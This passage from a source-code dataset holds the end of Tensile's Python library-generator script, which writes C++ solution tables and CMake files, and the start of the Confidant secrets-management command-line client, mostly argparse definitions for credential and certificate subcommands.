problemType\n for i in range(0, len(argListData)):\n s += \" %s %s%s\" \\\n % (argListData[i][0], argListData[i][1], \\\n \",\\n\" if i < len(argListData)-1 else \") {\\n\")\n s += \" auto solution = tensileGetSolutionPointer_%s(\\n\" % (problemType)\n for i in range(0, len(argListSizes)):\n s += \" %s%s\" \\\n % (argListSizes[i][1], \", \" if i < len(argListSizes)-1 else \");\")\n s += \"\\n\"\n s += \" if (solution) {\\n\"\n s += \" TensileSolutionPointer_%s f = reinterpret_cast (solution->_info->_functionPtr);\\n\" \\\n % (problemType, problemType)\n s += \" auto solutionLock = &solution->_lock;\\n\"\n s += \" return f(\"\n for i in range(0, len(argListAll)):\n s += \"%s%s\" \\\n % (argListAll[i][1], \", \" if i < len(argListAll)-1 else \");\\n\")\n s += \" } else {\\n\"\n #s += \" printf(\\\"solution not valid, returning fail\\\\n\\\");\"\n s += \" return tensileStatusFailure; // no solution found\\n\"\n s += \" }\\n\"\n s += \"}\\n\"\n\n # open and close problemType files\n if not globalParameters[\"MergeFiles\"]:\n logicSourceFile = open(os.path.join(outputPath, \"Logic\", \\\n \"%s.cpp\" % filePrefix), \"w\")\n logicSourceFile.write(s)\n logicSourceFile.close()\n\n s += \"\\n\"\n s += writeTensileInitialize(logicData)\n\n # close merged files\n if globalParameters[\"MergeFiles\"]:\n logicSourceFile = open(os.path.join(outputPath, \\\n \"Tensile.cpp\"), \"w\")\n logicSourceFile.write(s)\n logicSourceFile.close()\n\n logicHeaderFile = open(os.path.join(outputPath, \\\n \"Tensile.h\"), \"w\")\n logicHeaderFile.write(h)\n logicHeaderFile.close()\n\n internalHeaderFile = open(os.path.join(outputPath, \\\n \"TensileInternal.h\"), \"w\")\n internalHeaderFile.write(ih)\n internalHeaderFile.close()\n\n\ndef writeTensileInitialize(logicData):\n\n s = \"/*******************************************************************************\\n\"\n s += \"* Tensilze initializer\\n\"\n s += \"*******************************************************************************/\\n\"\n s += \"void tensileInitialize() {\\n\"\n\n for problemType in logicData:\n s += \" masterSolutionMapper_%s.initialize();\\n\" % problemType\n \n for scheduleTuple in logicData[problemType]:\n scheduleName = scheduleTuple[0]\n deviceNames = scheduleTuple[1]\n\n\n schedProbName = \"%s_%s\" % (scheduleName, problemType)\n s += \" solutionMapper_%s.initializeMappers(\" % (schedProbName)\n s += \"{%s},\" % (', '.join('\"{0}\"'.format(w) for w in deviceNames))\n s += \"&masterSolutionMapper_%s);\\n\" % (problemType)\n \n s += \"}\"\n\n return s\n\ndef writeSolutionAndExactTable(scheduleName, deviceNames, schedProbName, problemType, \\\n solutionsForSchedule, solutionNames, exactLogic):\n s = \"\"\n s += \"namespace { // Start schedule '%s'\\n\" % scheduleName\n\n s += \"// solution table - function, name, assertion requirements\\n\"\n s += \"static const SolutionInfo solutionTable_%s[] = {\\n\" % (schedProbName)\n for i in range(0, len(solutionsForSchedule)):\n solution = solutionsForSchedule[i]\n solutionName = solutionNames[i]\n s += \" {(void*)%s, \\\"%s\\\", {%d, %d, %d, %d, %d, %d, %d} }%s // %d\" % \\\n (solutionName, solutionName, \\\n solution[\"AssertSummationElementMultiple\"], \\\n solution[\"AssertFree0ElementMultiple\"], \\\n solution[\"AssertFree1ElementMultiple\"], \\\n solution[\"AssertMinApproxSize\"], \\\n solution[\"LdcEqualsLdd\"], \\\n solution[\"PackBatchDims\"]==2, \\\n solution[\"PackBatchDims\"]==1, \\\n \",\" if i < len(solutionsForSchedule)-1 else \"\", \\\n i)\n s += \"\\n\"\n\n s += \"};\\n\\n\"\n\n # Write the exact problems here\n s += \"// table of exact problem dims and selected solutionIdx\\n\"\n s += \"static const std::pair embeddedExactTable_%s[] = {\\n\" % (problemType,schedProbName)\n numSizes = problemType[\"TotalIndices\"]\n for ruleIdx in range(0, len(exactLogic)):\n rule = exactLogic[ruleIdx]\n problemSize = rule[0][:numSizes]\n solutionIdx = rule[1][0]\n solutionGFlops = rule[1][1]\n s += \" { {\"\n for i in range(0, len(problemSize)):\n if i == 0:\n s += \"%u\" % problemSize[i];\n else:\n s += \", %u\" % problemSize[i];\n s += \"}, %u}\" % (solutionIdx)\n s += \",\" if ruleIdx != len(exactLogic)-1 else \" \"\n s += \" // %.0f GFlop/s\" % (solutionGFlops)\n s += \"\\n\";\n s += \"};\\n\\n\"\n\n # Create a solution mapper and init with the table above:\n s += \"// The solution master constructor here adds device to the master solution mapper\\n\"\n s += \"// The entrypoint to find a solution for this problem is through the master solution master\\n\"\n s += \"static SolutionMapper_%s solutionMapper_%s(\\n\" % (problemType, schedProbName)\n s += \" \\\"%s\\\", // schedule+problem name\\n\" % (schedProbName) \n s += \" solutionTable_%s, %u,\\n\" % (schedProbName, len(solutionsForSchedule))\n s += \" embeddedExactTable_%s, %u,\\n\" % (schedProbName, len(exactLogic))\n s += \" &problemType_%s);\\n\" % (problemType)\n\n s += \"} // end anonymous namespace\\n\" \n return s\n\n\n################################################################################\n# Write Range Logic Recursive\n# ptr :\n# True : write logic to return the function pointer\n# False : write logic to return the function name\n################################################################################\ndef writeExactLogic(problemType, indexOrder,\n solutionsForSchedule, exactLogic, \\\n solutionNames, ptr):\n s = \"\"\n s += \" ProblemDims_%s pdims(\" % problemType\n indexChars = globalParameters[\"IndexChars\"]\n firstStride = 0 if problemType[\"UseInitialStrides\"] else 1\n lastStrideD = problemType[\"NumIndicesC\"]\n lastStrideC = problemType[\"NumIndicesC\"]\n lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n for i in range(firstStride,lastStrideD):\n if i != firstStride: s += \", \"\n s += \"strideD%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideC):\n s += \", strideC%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideA):\n s += \", strideA%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsA\"][i]])\n for i in range(firstStride,lastStrideB):\n s += \", strideB%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsB\"][i]])\n for i in range(0,len(indexOrder)):\n s += \", size%s\" % indexChars[i]\n s += \");\\n\"\n\n s += \" auto solutionMapper = reinterpret_cast (masterSolutionMapper_%s.mapper());\\n\" \\\n % (problemType, problemType)\n if ptr:\n s += \" return solutionMapper->getSolutionWithFallback(pdims,&masterSolutionMapper_%s);\\n\" % problemType\n else:\n s += \" return solutionMapper->getSolutionWithFallback(pdims,&masterSolutionMapper_%s)->_info->_name;\\n\" % problemType\n\n return s\n\n\n################################################################################\n# Write Solution Call\n################################################################################\ndef writeSolutionCall(solutionName, problemType):\n indexChars = globalParameters[\"IndexChars\"]\n s = \"\"\n s += \"%s(\" % solutionName\n # solution parameters\n s += \" dataD, dataC, dataA, dataB, alpha\"\n if problemType[\"UseBeta\"]:\n s += \", beta\"\n s += \", offsetC, offsetA, offsetB\"\n firstStride = 1\n if problemType[\"UseInitialStrides\"]:\n firstStride = 0\n lastStrideD = problemType[\"NumIndicesC\"]\n lastStrideC = problemType[\"NumIndicesC\"]\n lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n for i in range(firstStride,lastStrideD):\n s += \", strideD%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideC):\n s += \", strideC%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideA):\n s += \", strideA%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsA\"][i]])\n for i in range(firstStride,lastStrideB):\n s += \", strideB%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsB\"][i]])\n for i in range(0, problemType[\"TotalIndices\"]):\n s += \", size%s\" % indexChars[i]\n s += \", stream, numInputEvents, inputEvents, outputEvent )\"\n return s\n\n\n\n\n################################################################################\n# Write CMake\n################################################################################\ndef writeCMake(outputPath, solutions, kernels, libraryStaticFiles, clientName ):\n print1(\"# Writing Custom CMake\")\n ##############################################################################\n # Min Naming\n ##############################################################################\n if globalParameters[\"ShortNames\"] and not globalParameters[\"MergeFiles\"] :\n solutionSerialNaming = Solution.getSerialNaming(solutions)\n kernelSerialNaming = Solution.getSerialNaming(kernels)\n else:\n solutionSerialNaming = None\n kernelSerialNaming = None\n solutionMinNaming = Solution.getMinNaming(solutions)\n kernelMinNaming = Solution.getMinNaming(kernels)\n solutionWriter = SolutionWriter( \\\n solutionMinNaming, solutionSerialNaming, \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterSource = KernelWriterSource( \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterAssembly = KernelWriterAssembly( \\\n kernelMinNaming, kernelSerialNaming)\n\n generatedFile = open(os.path.join(outputPath, \"Generated.cmake\"), \"w\")\n generatedFile.write(CMakeHeader)\n generatedFile.write(\"set( TensileClient_SOLUTIONS\\n\")\n\n # write solution names\n if globalParameters[\"MergeFiles\"]:\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions.h\\n\")\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions.cpp\\n\")\n else:\n for solution in solutions:\n solutionName = solutionWriter.getSolutionName(solution)\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions/%s.h\\n\" \\\n % (solutionName) )\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions/%s.cpp\\n\" \\\n % (solutionName) )\n generatedFile.write(\" )\\n\")\n\n # write kernel names\n generatedFile.write(\"set( TensileClient_KERNELS\\n\")\n if globalParameters[\"MergeFiles\"]:\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels.h\\n\")\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels.cpp\\n\")\n else:\n for kernel in kernels:\n kernelName = kernelWriterSource.getKernelName(kernel) if kernel[\"KernelLanguage\"] == \"Source\" else kernelWriterAssembly.getKernelName(kernel) \n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels/%s.h\\n\" % (kernelName))\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels/%s.cpp\\n\" % kernelName)\n generatedFile.write(\" )\\n\")\n\n\n generatedFile.write(\"set( TensileClient_SOURCE\\n\")\n for fileName in libraryStaticFiles:\n # copy file\n shutil.copy( os.path.join(globalParameters[\"SourcePath\"], fileName), \\\n outputPath )\n # add file to cmake\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/%s\\n\" % fileName)\n generatedFile.write(\" )\\n\\n\")\n\n # close generated cmake\n generatedFile.close()\n\n\n\n################################################################################\n# Tensile Create Library\n################################################################################\ndef TensileCreateLibrary():\n print1(\"\")\n print1(HR)\n print1(\"# Tensile Create Library\")\n print2(HR)\n print2(\"\")\n\n ##############################################################################\n # Parse Command Line Arguments\n ##############################################################################\n print2(\"Arguments: %s\" % sys.argv)\n argParser = argparse.ArgumentParser()\n argParser.add_argument(\"LogicPath\", help=\"Path to LibraryLogic.yaml files.\")\n argParser.add_argument(\"OutputPath\", help=\"Where to write library files?\")\n argParser.add_argument(\"RuntimeLanguage\", help=\"Which runtime language?\", choices=[\"OCL\", \"HIP\", \"HSA\"])\n argParser.add_argument(\"--cxx-compiler\", dest=\"CxxCompiler\", choices=[\"hcc\", \"hipcc\"], action=\"store\", default=\"hcc\")\n argParser.add_argument(\"--code-object-version\", dest=\"CodeObjectVersion\", choices=[\"V2\", \"V3\"], action=\"store\", default=\"V2\")\n argParser.add_argument(\"--merge-files\", dest=\"MergeFiles\", action=\"store_true\")\n argParser.add_argument(\"--no-merge-files\", dest=\"MergeFiles\", action=\"store_false\")\n argParser.add_argument(\"--short-file-names\", dest=\"ShortNames\", action=\"store_true\")\n argParser.add_argument(\"--no-short-file-names\", dest=\"ShortNames\", action=\"store_false\")\n argParser.add_argument(\"--library-print-debug\", dest=\"LibraryPrintDebug\", action=\"store_true\")\n argParser.add_argument(\"--no-library-print-debug\", dest=\"LibraryPrintDebug\", action=\"store_false\")\n argParser.add_argument(\"--embed-library\", dest=\"EmbedLibrary\",\n help=\"Embed (new) library files into static variables. Specify the name of the library.\")\n\n argParser.add_argument(\"--embed-library-key\", dest=\"EmbedLibraryKey\", default=None,\n help=\"Access key for embedding library files.\")\n args = argParser.parse_args()\n\n logicPath = args.LogicPath\n outputPath = args.OutputPath\n CxxCompiler = args.CxxCompiler\n print2(\"OutputPath: %s\" % outputPath)\n ensurePath(outputPath)\n arguments = {}\n arguments[\"RuntimeLanguage\"] = args.RuntimeLanguage\n arguments[\"CodeObjectVersion\"] = args.CodeObjectVersion\n arguments[\"CxxCompiler\"] = args.CxxCompiler\n arguments[\"MergeFiles\"] = args.MergeFiles\n arguments[\"ShortNames\"] = args.ShortNames\n arguments[\"LibraryPrintDebug\"] = args.LibraryPrintDebug\n arguments[\"CodeFromFiles\"] = False\n arguments[\"EmbedLibrary\"] = args.EmbedLibrary\n assignGlobalParameters(arguments)\n\n print1(\"# CodeObjectVersion from TensileCreateLibrary: %s\" % arguments[\"CodeObjectVersion\"])\n print1(\"# CxxCompiler from TensileCreateLibrary: %s\" % CxxCompiler)\n\n if not os.path.exists(logicPath):\n printExit(\"LogicPath %s doesn't exist\" % logicPath)\n\n logicFiles = [os.path.join(logicPath, f) for f in os.listdir(logicPath) \\\n if (os.path.isfile(os.path.join(logicPath, f)) \\\n and os.path.splitext(f)[1]==\".yaml\")]\n\n print1(\"# LibraryLogicFiles:\" % logicFiles)\n for logicFile in logicFiles:\n print1(\"# %s\" % logicFile)\n\n ##############################################################################\n # Parse config files\n ##############################################################################\n solutions = []\n logicData = {} # keys are problemTypes, values are schedules\n newMasterLibrary = None\n\n libraries = Common.ParallelMap(YAMLIO.readLibraryLogicForSchedule, logicFiles, \"Reading logic files\")\n\n for logic in Utils.tqdm(libraries, \"Processing logic data\"):\n (scheduleName, deviceNames, problemType, solutionsForSchedule, \\\n indexOrder, exactLogic, rangeLogic, newLibrary) = logic\n\n if problemType not in logicData:\n logicData[problemType] = []\n logicData[problemType].append((scheduleName, deviceNames, \\\n solutionsForSchedule, indexOrder, exactLogic, rangeLogic ))\n for solution in solutionsForSchedule:\n if solution not in solutions:\n solutions.append(solution)\n\n if newMasterLibrary is None:\n newMasterLibrary = newLibrary\n else:\n newMasterLibrary.merge(newLibrary)\n\n # create solution writer and kernel writer\n kernels = []\n kernelsBetaOnly = []\n for solution in solutions:\n solutionKernels = solution.getKernels()\n for kernel in solutionKernels:\n if kernel not in kernels:\n kernels.append(kernel)\n solutionKernelsBetaOnly = solution.getKernelsBetaOnly()\n for kernel in solutionKernelsBetaOnly:\n if kernel not in kernelsBetaOnly:\n kernelsBetaOnly.append(kernel)\n\n # if any kernels are assembly, append every ISA supported\n\n if globalParameters[\"ShortNames\"] and not globalParameters[\"MergeFiles\"]:\n solutionSerialNaming = Solution.getSerialNaming(solutions)\n kernelSerialNaming = Solution.getSerialNaming(kernels)\n else:\n solutionSerialNaming = None\n kernelSerialNaming = None\n solutionMinNaming = Solution.getMinNaming(solutions)\n kernelMinNaming = Solution.getMinNaming(kernels)\n solutionWriter = SolutionWriter( \\\n solutionMinNaming, solutionSerialNaming, \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterSource = KernelWriterSource( \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterAssembly = KernelWriterAssembly( \\\n kernelMinNaming, kernelSerialNaming)\n\n libraryStaticFiles = [\n \"SolutionMapper.h\",\n \"TensileTypes.h\",\n \"tensile_bfloat16.h\",\n \"KernelHeader.h\",\n \"SolutionHelper.cpp\",\n \"SolutionHelper.h\",\n \"Tools.cpp\",\n \"Tools.h\" ]\n\n # write cmake\n clientName = \"LibraryClient\"\n writeCMake(outputPath, solutions, kernels, libraryStaticFiles, clientName )\n\n # write solutions and kernels\n problemTypes = list(logicData.keys())\n codeObjectFiles = writeSolutionsAndKernels(outputPath, CxxCompiler, problemTypes, solutions,\n kernels, kernelsBetaOnly,\n solutionWriter,\n kernelWriterSource, kernelWriterAssembly)\n\n # write logic\n writeLogic(outputPath, logicData, solutionWriter)\n\n newLibraryDir = ensurePath(os.path.join(outputPath, 'library'))\n \n masterFile = os.path.join(newLibraryDir, \"TensileLibrary.yaml\")\n newMasterLibrary.applyNaming(kernelMinNaming)\n YAMLIO.write(masterFile, Utils.state(newMasterLibrary))\n\n if args.EmbedLibrary is not None:\n embedFileName = os.path.join(outputPath, \"library/{}.cpp\".format(args.EmbedLibrary))\n with EmbeddedData.EmbeddedDataFile(embedFileName) as embedFile:\n embedFile.embed_file(newMasterLibrary.cpp_base_class, masterFile, nullTerminated=True,\n key=args.EmbedLibraryKey)\n\n for co in Utils.tqdm(codeObjectFiles):\n embedFile.embed_file(\"SolutionAdapter\", co, nullTerminated=False,\n key=args.EmbedLibraryKey)\n\n print1(\"# Tensile Library Writer DONE\")\n print1(HR)\n print1(\"\")\n\n", "source": "sunway513/Tensile", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"Confidant cli module.\"\"\"\n\n# Import python libs\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nimport logging\nimport json\nimport argparse\nimport sys\nimport getpass\nimport re\n\nimport confidant_client\n\nKEY_BAD_PATTERN = re.compile(r'(\\W|^\\d)')\n\n\ndef _get_client_from_args(args):\n if args.mfa:\n mfa_pin = getpass.getpass('Enter the MFA code: ')\n else:\n mfa_pin = None\n auth_context = {}\n if args._from:\n auth_context['from'] = args._from\n if args._to:\n auth_context['to'] = args._to\n if args.user_type:\n auth_context['user_type'] = args.user_type\n if not auth_context:\n auth_context = None\n if args.config_files:\n config_files = args.config_files.split(',')\n else:\n config_files = None\n client = confidant_client.ConfidantClient(\n args.url,\n args.auth_key,\n auth_context,\n token_lifetime=args.token_lifetime,\n token_version=args.token_version,\n assume_role=args.assume_role,\n mfa_pin=mfa_pin,\n region=args.region,\n retries=args.retries,\n config_files=config_files,\n profile=args.profile,\n verify=args.verify,\n timeout=args.timeout\n )\n return client\n\n\ndef _parse_args():\n parser = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=('A client for fetching credentials from a confidant'\n ' server.'),\n add_help=False\n )\n parser.add_argument(\n '-h',\n '--help',\n action=_HelpAction,\n help='show this help message and exit'\n )\n parser.add_argument(\n '--config-files',\n help=('Comma separated list of configuration files to use. Default:'\n ' ~/.confidant,/etc/confidant/config')\n )\n parser.add_argument(\n '--profile',\n help='Configuration profile to use. Default: default'\n )\n parser.add_argument(\n '-u',\n '--url',\n help=('url of the confidant server. i.e.'\n ' https://confidant-production.example.com')\n )\n parser.add_argument(\n '-v',\n '--verify-ssl',\n help='Whether we verify the servers TLS certificate',\n action='store_true',\n dest='verify',\n default=True\n )\n parser.add_argument(\n '--retries',\n help=('Number of retries that should be attempted on confidant server'\n ' errors. Default 0.'),\n type=int\n )\n parser.add_argument(\n '--timeout',\n help=('Connect and read timeout in seconds to confidant server.'\n ' Default 5.'),\n type=int,\n )\n parser.add_argument(\n '-k',\n '--auth-key',\n help='The KMS auth key to use. It must either be an ARN (i.e. a string'\n ' starting with \"arn:aws:kms:\") or an alias with the prefix'\n ' \"alias/\" (i.e. \"alias/authnz-production\")'\n )\n parser.add_argument(\n '-l',\n '--token-lifetime',\n type=int,\n help=('The token lifetime, in minutes. The client will backdate the'\n ' token by 3 minutes to avoid clockskew issues, so the minimum'\n ' lifetime you should use is 4. You may also want to pad the'\n ' lifetime by a few minutes to avoid clock skew the other'\n ' direction, so a safe recommended minimum is 7.')\n )\n parser.add_argument(\n '--token-version',\n type=int,\n help='The version of the KMS auth token.'\n )\n parser.add_argument(\n '--from',\n dest='_from',\n help=('The IAM role or user to authenticate with. i.e.'\n ' myservice-production or myuser')\n )\n parser.add_argument(\n '--to',\n dest='_to',\n help='The IAM role name of confidant i.e. confidant-production'\n )\n parser.add_argument(\n '--user-type',\n help='The confidant user-type to authenticate as i.e. user or service'\n )\n parser.add_argument(\n '--mfa',\n help='Prompt for an MFA token.',\n action='store_true',\n dest='mfa'\n )\n parser.add_argument(\n '--assume-role',\n help='Assume the specified role.'\n )\n parser.add_argument(\n '--region',\n help='Use the specified region for authentication.'\n )\n parser.add_argument(\n '--log-level',\n help='Logging verbosity.',\n default='info'\n )\n parser.add_argument(\n '--version',\n help='Print version and exit.',\n action='version',\n version='%(prog)s {version}'.format(version=confidant_client.VERSION)\n )\n parser.set_defaults(mfa=False)\n\n subparsers = parser.add_subparsers(dest='subcommand')\n get_service_parser = subparsers.add_parser('get_service')\n get_service_parser.add_argument(\n '--service',\n help='The service to get.'\n )\n get_service_parser.add_argument(\n '--no-decrypt-blind',\n help=('Do not decrypt blind credentials, instead give back the raw'\n ' results from get_service.'),\n action='store_false',\n dest='decrypt_blind'\n )\n get_service_parser.set_defaults(\n decrypt_blind=True\n )\n\n create_blind_cred_parser = subparsers.add_parser('create_blind_credential')\n create_blind_cred_parser.add_argument(\n '--blind-keys',\n required=True,\n help=('A dict of region to kms key mappings to use for at-rest'\n ' encryption for multiple regions in json format i.e.'\n ' {\"us-east-1\":\"alias/confidant-production-blind-useast1\",'\n '\"us-west-2\":\"alias/confidant-production-blind-uswest2\"}'),\n type=json.loads\n )\n context_group = create_blind_cred_parser.add_mutually_exclusive_group(\n required=True\n )\n context_group.add_argument(\n '--group-context',\n help=('A encryption context for blind credentials in json format i.e.'\n ' {\"group\":\"web-production\"}. This context will be applied to'\n ' all regions, if multiple regions are provided in --blind-keys.'\n ' Mutually exclusive with --blind-contexts.'),\n type=json.loads\n )\n context_group.add_argument(\n '--blind-contexts',\n help=('A custom dict of region to encryption context for blind'\n ' credentials in json format i.e.'\n ' \\'{\"us-east-1\":{\"to\":\"web-production-useast1\"},'\n '\"us-west-2\":{\"to\":\"web-production-uswest2\"}}\\'. Mutually'\n ' exclusive with --group-context.'),\n type=json.loads\n )\n create_blind_cred_parser.add_argument(\n '--name',\n required=True,\n help='A name for this blind credential i.e. \\'production ssl key\\'.'\n )\n create_blind_cred_parser.add_argument(\n '--credential-pairs',\n required=True,\n help=('A dict of key/value pairs for credentials in json format i.e.'\n '\\'{\"ssl_key\":\"----- BEGIN...\",\"ssl_cert\":\"----- BEGIN...\"}\\'.'),\n type=json.loads\n )\n create_blind_cred_parser.add_argument(\n '--cipher-type',\n help='The type of cipher to use for at-rest encryption.',\n default='fernet'\n )\n create_blind_cred_parser.add_argument(\n '--cipher-version',\n help=('The version of the cipher implementation to use for at-rest'\n ' encryption.'),\n default=2\n )\n create_blind_cred_parser.add_argument(\n '--no-store-keys',\n help=('Do not to store the dict keys of credential-pairs as a clear'\n ' text list in the blind-credential metadata. By default the'\n ' dict keys are stored to help ensure blind credentials will not'\n ' conflict with each other when mapped to a service and also to'\n ' aid in use of the credentials in application code (since you'\n ' need to reference the key to get the value).'),\n action='store_false',\n dest='store_keys'\n )\n create_blind_cred_parser.add_argument(\n '--metadata',\n help=('A dict of key/value pairs to be stored as clear-text extensible'\n ' along with the credential in json format i.e. '\n '\\'{\"path\":\"/etc/mysecret\",\"mode\":\"0600\"}\\'.'),\n type=json.loads,\n default='{}'\n )\n enabled_group = create_blind_cred_parser.add_mutually_exclusive_group()\n enabled_group.add_argument(\n '--enabled',\n help='Enable this credential (default).',\n action='store_true',\n dest='enabled'\n )\n enabled_group.add_argument(\n '--disabled',\n help='Disable this credential.',\n action='store_false',\n dest='enabled'\n )\n create_blind_cred_parser.add_argument(\n '--documentation',\n help='Documentation on how to rotate this credential'\n )\n create_blind_cred_parser.set_defaults(\n store_keys=True,\n enabled=True\n )\n\n update_blind_cred_parser = subparsers.add_parser('update_blind_credential')\n update_blind_cred_parser.add_argument(\n '--blind-keys',\n help=('A dict of region to kms key mappings to use for at-rest'\n ' encryption for multiple regions in json format i.e.'\n ' {\"us-east-1\":\"alias/confidant-production-blind-useast1\",'\n '\"us-west-2\":\"alias/confidant-production-blind-uswest2\"}'),\n type=json.loads\n )\n context_group = update_blind_cred_parser.add_mutually_exclusive_group()\n context_group.add_argument(\n '--group-context',\n help=('A encryption context for blind credentials in json format i.e.'\n ' {\"group\":\"web-production\"}. This context will be applied to'\n ' all regions, if multiple regions are provided in --blind-keys.'\n ' Mutually exclusive with --blind-contexts.'),\n type=json.loads\n )\n context_group.add_argument(\n '--blind-contexts',\n help=('A custom dict of region to encryption context for blind'\n ' credentials in json format i.e.'\n ' \\'{\"us-east-1\":{\"to\":\"web-production-useast1\"},'\n '\"us-west-2\":{\"to\":\"web-production-uswest2\"}}\\'. Mutually'\n ' exclusive with --group-context.'),\n type=json.loads\n )\n update_blind_cred_parser.add_argument(\n '--id',\n required=True,\n help=('An id for this blind credential i.e.'\n ' \\'f232fcd3747c47718e48a034f4cdfc0e\\'.'),\n dest='_id'\n )\n update_blind_cred_parser.add_argument(\n '--name',\n help='A name for this blind credential i.e. \\'production ssl key\\'.'\n )\n update_blind_cred_parser.add_argument(\n '--credential-pairs',\n help=('A dict of key/value pairs for credentials in json format i.e.'\n '\\'{\"ssl_key\":\"----- BEGIN...\",\"ssl_cert\":\"----- BEGIN...\"}\\'.'),\n type=json.loads\n )\n update_blind_cred_parser.add_argument(\n '--cipher-type',\n help='The type of cipher to use for at-rest encryption.'\n )\n update_blind_cred_parser.add_argument(\n '--cipher-version',\n help=('The version of the cipher implementation to use for at-rest'\n ' encryption.')\n )\n update_blind_cred_parser.add_argument(\n '--no-store-keys',\n help=('Do not to store the dict keys of credential-pairs as a clear'\n ' text list in the blind-credential metadata. By default the'\n ' dict keys are stored to help ensure blind credentials will not'\n ' conflict with each other when mapped to a service and also to'\n ' aid in use of the credentials in application code (since you'\n ' need to reference the key to get the value).'),\n action='store_false',\n dest='store_keys'\n )\n update_blind_cred_parser.add_argument(\n '--metadata',\n help=('A dict of key/value pairs to be stored as clear-text extensible'\n ' along with the credential in json format i.e.'\n ' \\'{\"path\":\"/etc/mysecret\",\"mode\":\"0600\"}\\'.'),\n type=json.loads\n )\n enabled_group = update_blind_cred_parser.add_mutually_exclusive_group()\n enabled_group.add_argument(\n '--enabled',\n help='Enable this credential (default).',\n action='store_true',\n dest='enabled'\n )\n enabled_group.add_argument(\n '--disabled',\n help='Disable this credential.',\n action='store_false',\n dest='enabled'\n )\n update_blind_cred_parser.add_argument(\n '--documentation',\n help='Documentation on how to rotate this credential'\n )\n update_blind_cred_parser.set_defaults(\n enabled=None,\n store_keys=True\n )\n\n get_blind_cred_parser = subparsers.add_parser('get_blind_credential')\n get_blind_cred_parser.add_argument(\n '--id',\n required=True,\n help=('An id for this blind credential i.e.'\n ' \\'f232fcd3747c47718e48a034f4cdfc0e\\'.'),\n dest='_id'\n )\n get_blind_cred_parser.add_argument(\n '--decrypt-blind',\n help=('Decrypt blind credentials, rather than giving back the raw'\n ' results from get_blind_credential.'),\n action='store_true',\n dest='decrypt_blind'\n )\n get_blind_cred_parser.set_defaults(\n decrypt_blind=False\n )\n\n subparsers.add_parser('list_blind_credentials')\n\n revert_cred_parser = subparsers.add_parser('revert_credential')\n revert_cred_parser.add_argument(\n '--id',\n required=True,\n help=('An id for this credential i.e.'\n ' \\'f232fcd3747c47718e48a034f4cdfc0e\\'.'),\n dest='_id'\n )\n revert_cred_parser.add_argument(\n '--revision',\n help=('The revision number to revert to. Omit if you want to restore '\n 'the most recent revision.'),\n type=int\n )\n\n revert_service_parser = subparsers.add_parser('revert_service')\n revert_service_parser.add_argument(\n '--id',\n required=True,\n help=('The id for this service'),\n dest='_id'\n )\n revert_service_parser.add_argument(\n '--revision',\n help=('The revision number to revert to. Omit if you want to restore '\n 'the most recent revision.'),\n type=int\n )\n\n revert_blind_cred_parser = subparsers.add_parser('revert_blind_credential')\n revert_blind_cred_parser.add_argument(\n '--id',\n required=True,\n help=('An id for this blind_credential i.e.'\n ' \\'f232fcd3747c47718e48a034f4cdfc0e\\'.'),\n dest='_id'\n )\n revert_blind_cred_parser.add_argument(\n '--revision',\n help=('The revision number to revert to. Omit if you want to restore '\n 'the most recent revision.'),\n type=int\n )\n\n ca_get_certificate_parser = subparsers.add_parser('get_certificate')\n ca_get_certificate_parser.add_argument(\n '--ca',\n required=True,\n help='The certificate authority to issue a certificate from.',\n )\n ca_get_certificate_parser.add_argument(\n '--cn',\n help=('A cerftificate signing request (CSR) file to issue a certificate'\n 'from.'),\n )\n ca_get_certificate_parser.add_argument(\n '--san',\n nargs='+',\n help=('A list of subject alternative name values that should be'\n ' present in the issued certificate.'),\n )\n ca_get_certificate_parser.add_argument(\n '--validity',\n help='The validity of the certificate in number of days from today',\n type=int,\n default=120,\n )\n\n ca_get_certificate_from_csr_parser = subparsers.add_parser(\n 'get_certificate_from_csr'\n )\n ca_get_certificate_from_csr_parser.add_argument(\n '--ca',\n required=True,\n help='The certificate authority to issue a certificate from.',\n )\n ca_get_certificate_from_csr_parser.add_argument(\n '--csr-file',\n help=('A cerftificate signing request (CSR) file to issue a certificate'\n 'from.'),\n )\n ca_get_certificate_from_csr_parser.add_argument(\n '--validity',\n help='The validity of the certificate in number of days from today',\n type=int,\n default=120,\n )\n\n ca_get_ca_parser = subparsers.add_parser(\n 'get_ca'\n )\n ca_get_ca_parser.add_argument(\n '--ca',\n required=True,\n help='The certificate authority to get.',\n )\n\n subparsers.add_parser(\n 'list_cas'\n )\n return parser.parse_args()\n\n\ndef main():\n \"\"\"Entrypoint function for confidant cli.\"\"\"\n args = _parse_args()\n\n numeric_loglevel = getattr(logging, args.log_level.upper(), None)\n if not isinstance(numeric_loglevel, int):\n raise ValueError('Invalid log level: {0}'.format(args.loglevel))\n logging.basicConfig(\n level=numeric_loglevel,\n format='%(asctime)s %(name)s: %(levelname)s %(message)s',\n stream=sys.stderr\n )\n\n client = _get_client_from_args(args)\n\n ret = {'result': False}\n\n if args.subcommand == 'get_service':\n try:\n ret = client.get_service(\n 